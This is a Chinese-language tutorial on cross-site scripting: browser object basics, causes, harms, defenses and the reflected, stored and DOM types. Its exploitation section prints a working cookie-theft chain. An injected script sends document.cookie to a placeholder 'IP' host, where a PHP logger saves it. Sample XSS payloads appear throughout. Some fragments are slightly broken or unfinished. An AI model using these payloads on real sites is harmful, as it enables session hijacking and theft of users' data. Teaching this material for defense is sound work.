0x00 XSS 前置知識
什么是 BOM
-
瀏覽器對象模型(Browser Object Model (BOM))
-
由於現代瀏覽器已經(幾乎)實現了 JavaScript 交互性方面的相同方法和屬性,因此常被認為是 BOM 的方法和屬性。
-
例如:
-
Window 對象
-
所有瀏覽器都支持 window 對象,它表示瀏覽器窗口。
-
所有 JavaScript 全局對象、函數以及變量均自動成為 window 對象的成員
-
全局變量是 window 對象的屬性
-
全局函數是 window 對象的方法。
-
甚至 HTML DOM 的 document 也是 window 對象的屬性之一
-
window.document getElementByld("header");
-
與此相同:
-
document.getElementByld("header");
-
window.location
-
window 在使用時可以省略
-
location.hostname 返回 web 主機的域名
-
location.pathname 返回當前頁面的路徑和文件名
-
location.port 返回 web 主機的端口(80 或 443)
-
location.protocol 返回所使用的 web 協議 http 或 https
<script>
document.write(location.pathname);
</script>
-
window.navigator
-
window.navigator 對象包含有關訪問者瀏覽器的信息。
<script>
txt = "<p>瀏覽器代號:" + navigator.appCodeName + "</p>";
txt += "<p>瀏覽器名稱:" + navigator.appName + "</p>";
txt += "<p>瀏覽器版本:" + navigator.appVersion + "</p>";
txt += "<p>啟用Cookies:" + navigator.cookieEnabled + "</p>";
txt += "<p>硬件平台:" + navigator.platform + "</p>";
txt += "<p>用戶代理:" + navigator.userAgent + "</p>";
txt += "<p>用戶代理語言:" + navigator.systemLanguage + "</p>";
document.write(txt);
</script>
-
window.document
-
document.cookie 對象用於存儲 web 頁面的用戶信息。
-
使用 document.cookie 屬性來創建、讀取、及刪除 cookie。
-
創建 cookie
-
document.cookie="username=John Doe";
-
讀取 cookie
-
document.write(document.cookie)
-
刪除 cookie
-
document.cookie ="username= expires= Thu, 01 Jan 1970 00: 00: 00 GMT;
0x01 XSS 漏洞概述
漏洞的介紹
- XSS 又叫 CSS( Cross Site Script),全稱 跨站腳本攻擊 。它指的是攻擊者往 Web 頁面或者 URL 里插入惡意 java Script 腳本代碼,如果 Web 應用程序對於用戶輸入的內容沒有過濾 ,那么當正常用戶瀏覽該網頁的時候,嵌入在 Web 頁面里的惡意 javascript 腳本代碼會被執行 ,從而達到惡意攻擊正常用戶的目的。
漏洞的位置
-
數據交互的地方:
-
get post cookies headers 方法
-
富文本編輯器
-
各類標簽插入和自定義
-
數據輸出的地方:
-
用戶資料
-
關鍵詞、標簽、說明
0x02 XSS 漏洞原理
-
web應用對用戶的輸入沒有經過嚴格過濾,導致用戶輸入的惡意JS代碼嵌入WEB頁面中執行
-
XSS 是指攻擊者通過在** Web 頁面中寫入惡意腳本** ,造成用戶在瀏覽頁面時,獲取控制用戶瀏覽器進行操作的攻擊方式
xss攻擊的是用戶,不能直接getshell
原理圖解
// 服務端代碼:
<?php
$input = $_GET["test"];
echo $input;
?>
// 用戶提交:
<script>alert(/xss/)</script>
XSS 漏洞產生的兩個條件
-
可以控制的輸入點
-
輸入能返回到前端頁面上被瀏覽器當成腳本語言解釋執行
0x03 XSS 漏洞危害
漏洞的危害
-
竊取用戶 Cookie,冒充用戶身份進入網站 (常見)
-
鍵盤記錄
-
客戶端信息探查
-
劫持用戶會話,執行任意操作
-
刷流量,執行彈窗廣告
-
傳播蠕蟲病毒
-
......
0x04 XSS 漏洞防御
-
使用** XSS Filter** :XSS Filter的作用是過濾用戶(客戶端)提交的有害信息 ,從而達到防范XSS攻擊的效果
-
輸入過濾 :永遠不要相信用戶的輸入",對於用戶輸入一定要過濾
-
輸入驗證 :對用戶提交的信息進行有效驗證 (是否僅包含合法字符、字符串長度限制、輸入是否符合特殊的格式要求等等)
-
http-only :HttpOnly是包含在http返回頭Set-Cookie里面的一個附加的flag,所以它是后端服務器對cookie設置的一個附加的屬性,在生成cookie時使用HttpOnly標志有助於減輕客戶端腳本訪問受保護cookie的風險(如果瀏覽器支持的話)通過js腳本將無法讀取到cookie信息(document.cookie),這樣能有效的防止XSS攻擊。
-
輸出編碼 (htmlspecialchars函數 ):HTML編碼主要是用對應的HTML實體代替字符
0x05 XSS 漏洞分類
反射型XSS
-
概念:是非持久性 、參數型的跨站腳本。反射型XSS的JS代碼在web應用的參數(變量)中,如搜索框 的反射型ⅩSS。
-
存在位置:常見於通過URL傳遞參數 的功能,如網站搜索、跳轉等
-
攻擊手法:需要欺騙用戶自己去點擊鏈接才能觸發ⅩSS代碼(服務器中沒有這樣的頁面和內容),一般容易出現在搜索頁面
- 驗證反射型XSS漏洞存在的poc
<script>alert('xss')</script> //常用
<script>confirm('xss')</script>
<script>prompt('xss')</script>
<script>console.log('xss')</script>
存儲型XSS
-
概念:持久性跨站腳本,是三種XSS中危害最大 的。它是將惡意代碼寫進數據庫或文件等可以永久保存數據的介質中
-
存在位置:常出現在留言板、發表評論或發表文章的地方(數據寫入的地方)
-
攻擊手法:
-
通過留言板等功能,將攻擊者精心構造XSS代碼,保存到數據庫 中,當其他用戶再次訪問 這個頁面時,就會觸發並執行惡意的XSS代碼 ,從而竊取用戶的敏感信息
-
XSS盲打,例如插入XSS平台生成的盜取cookie鏈接
DOM型XSS
- DOM的意思:DOM文檔對象模型 (Document Object Model, DOM)是一個平台和語言都中立的接口,可以使程序和腳本能夠動態訪問和更新文檔的內容、結構以及樣式
-
概念:不經過后端 ,DOM XSS漏洞是基於文檔對象模型的一種漏洞,簡單去理解就是因為輸岀點在DOM 。DOM XSS是通過url傳入參數去控制觸發的,其實也屬於反射型XSS。
-
攻擊手法:
-
攻擊者構造出特殊的URL,其中包含惡意代碼。用戶打開帶有惡意代碼的URL
-
用戶瀏覽器接收到響應后解析執行,前端 JavaScript取出URL中的惡意代碼並執行。
-
惡意代碼竊取用戶數據並發送到攻擊者的網站,或者冒充用戶的行為,調用目標網站接口執行攻擊者指定的操作
- 常見的DOM方法:
三種類型的區別
-
存儲型XSS與反射型XSS的區別
-
存儲型XSS的惡意代碼存在數據庫 里,是持久性的;反射型XSS的惡意代碼存在URL 里,是一次性的
-
DOM型與其他兩種XSS的區別
-
DOM型XSS攻擊中,取出和執行惡意代碼由瀏覽器端完成,屬於前端 JavaScript自身的安全漏洞,而其他兩種ⅩSS都屬於服務端的安全漏洞
0x06 XSS漏洞利用
XSS 簡單利用
Cookie獲取
//插入腳本
<script src='http://IP/xss.js'></script>
// xss.js
s=document.createElement('script');
s.src='http://IP/xss.php?cookie='+btoa(document.cookie);
document.body.appendChild(s)
// xss.php
<?php
$a = $_GET['cookie'];
$fp = fopen('xss.txt','a');
fwrite($fp,$a);
fclose($fp);
?>
鍵盤記錄
-
JS發送請求的方式
-
利用一些標支持src屬性的標簽,例如
-
某些標簽內 //
不支持XSS的事件 -
onclick 鼠標點擊鮫發
-
onload當頁面加載完成后觸發
-
onerror當頁面加載錯誤時候鮫發
-
onmousemove當鼠標移動就觸發
-
onmouseover 鼠標指針移動到指定的元素上時發生
常用事件
<img src=x" onerror="alert("you")></img>
<p onmouseover=alert(/you/)>test</p>
-
javascript偽協議
-
這個特殊的協議類型聲明了URL的主體是任意的 javascript代碼,它由 javascrip的解釋器運行。如果 javascript偽協議中URL中的 javascript代碼含有多個語句,必須使用分號將這些語句分隔開。
-
在瀏覽器直接輸入
<a href="javascript:alert(a)">1</a>
<img src=1 onerror="javascript:alert(1)"></img>
XSS 基本構造(5種)
- 利用<> 構造 HTML/JS
-
同理,提交 ,構造